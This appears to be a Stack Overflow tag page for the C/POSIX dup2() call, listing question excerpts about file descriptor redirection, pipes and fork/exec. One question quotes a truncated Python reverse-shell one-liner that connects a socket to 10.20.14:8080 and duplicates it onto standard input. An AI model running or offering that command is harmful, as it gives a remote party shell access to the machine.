Questions tagged [dup2]

dup2() is a c system call that duplicates a file descriptor. Also use this tag for questions about the related system call dup().

Usage: int dup2(int oldfd, int newfd);

The dup2() is a system call in C that creates a copy of a given file descriptor specified in newfd. dup2() is often used with pipes.

The difference between dup() and dup2() is that dup() always uses the lowest-numbered unused file descriptor whereas you specify the new destination file descriptor number in the second argument newfd.

dup2(), along with dup(), conforms to POSIX.1-2001, POSIX.1-2008, SVr4, 4.3BSD.

See the Linux manual page for dup2(), or the POSIX specification for dup2(), for more details.

313 questions
5
votes
1 answer

Use dup2 to swap stdout with file descriptor and back again

Here is the code: int main() { std::cout << "In stdout" << std::endl; int stdoutBack = dup(1); close(1); int output = open("buffer.txt", O_RDWR|O_CREAT|O_APPEND, 0777); dup2(output, 1); std::cout << "In buffer" << std::endl; …
4
votes
4 answers

dup2() and exec()

#include #include #include #include #include int main( int argc, char **argv) { int pfds[ 2], i; size_t pbytrd; pid_t childpid; char buffer[ 200]; pipe( pfds); if( (…
The Champ
  • 41
  • 1
  • 2
4
votes
1 answer

Why does touch call the dup2() syscall?

This is coming off this question. Why is touch calling the dup2() syscall? $ > strace touch 1 2>&1 | tail close(3) = 0 open("1", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = 3 dup2(3, 0) =…
4
votes
1 answer

how does popen2() work in c?

im trying to execute md5sume command in my programm using pipe,fork and dup.i found sum code that run succesfully but i cant understand some line of code. Here is my code: int infp, outfp; char buf[128]; if (popen2("md5sum", &infp, &outfp) <= 0) …
farzane
  • 329
  • 2
  • 13
4
votes
2 answers

Redirecting stdout to socket in client-server situation

I'm new to this forum, so I'm sorry if my question is not correctly asked. I'll try to be as clear as possible. I'm trying to code two programs (client.c and server.c, using TCP sockets) in Linux, with the following behavior: Client sends messages…
Paul M.
  • 51
  • 1
  • 6
3
votes
1 answer

what is os.dup2() method for and what is its use

I am learning python and hacking stuff, when I came across the following code snippet: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0);…
biplab
  • 45
  • 4
3
votes
0 answers

python : os.dup2, works in pycharm but not pyinstaller

import os import sys if __name__ == '__main__': out_fd = os.open('out.txt', os.O_CREAT | os.O_WRONLY) os.dup2(out_fd, sys.stdout.fileno()) print('test') os.close(out_fd) As you can see, this is a…
BonoBono
  • 31
  • 1
3
votes
3 answers

Writing to file descriptor

In the following snippet i am redirecting the output of the ls command to input of wc -l which works perfectly .Now i also want to redirect the output of ls command to a file named "beejoutput.txt" using the following code but its not working. Need…
mukesh
  • 726
  • 1
  • 11
  • 27
3
votes
1 answer

Why do we close the file descriptor after calling dup2?

I cannot for the life of me get my head fully around dup2(). int fd = open("data", O_RDONLY); /* open the disk file */ int newfd = dup2(fd,0); /* close 0, dup fd to 0 */ if( newfd != 0) { fprintf(stderr,"Could not…
Juan Pablo
  • 338
  • 2
  • 17
3
votes
1 answer

Is dup2 the correct way to simulate the behaviour of command sequencess in a linux terminal?

I'm trying to simulate the behaviour of the terminal in linux building a minishell in c code, but I've encountered a problem when trying to implement command sequences, since the output of the first one won't be properly received by the next one…
alestarbucks
  • 119
  • 1
  • 9
3
votes
1 answer

Redirecting stdout to file after a fork()

I'm working on a simple shell, but right now I am just trying to understand redirection. I'm just hard coding an ls command and trying to write it to a file for now. Currently, the ls runs, and the output file is created, but the output still goes…
Ryan Washburn
  • 31
  • 1
  • 2
3
votes
1 answer

How to swap two open file descriptors?

For my master thesis project I am building an API in C that works with Unix sockets. To make it short, I have two sockets identified by their two fds, on which I have called a O_NONBLOCK connect(). At this point, I am calling select() to check which…
Muffin
  • 55
  • 6
3
votes
0 answers

Why does GNU dd reuse file descriptors 0 and 1 with dup2?

When stracing dd (from gnu coreutils) I found something that surprised me: openat(AT_FDCWD, "/dev/zero", O_RDONLY) = 3 dup2(3, 0) …
Nudin
  • 351
  • 2
  • 11
3
votes
1 answer

How to redirect stdout to a file and then restore stdout back?

Here is my code and I can't get it to work. int pfd = open("file", O_WRONLY, 0777); int saved = dup(1); close(1); dup(pfd); close(pfd); printf("This goes into file\n"); // restore it back dup2(saved, 1); close(saved); printf("this goes to…
posixKing
  • 408
  • 1
  • 8
  • 17
3
votes
3 answers

Trouble with dup2, stdout, and stderr

When this program is run, the "stderr" line is displayed before the "stdout" line. Why? I thought dup2 would make stderr and stdout use the same file descriptor so there should be no problem with buffering. I'm using gcc 3.4.6 on Solaris…
Doug Masterson
  • 81
  • 1
  • 1
  • 2
1
2
3
20 21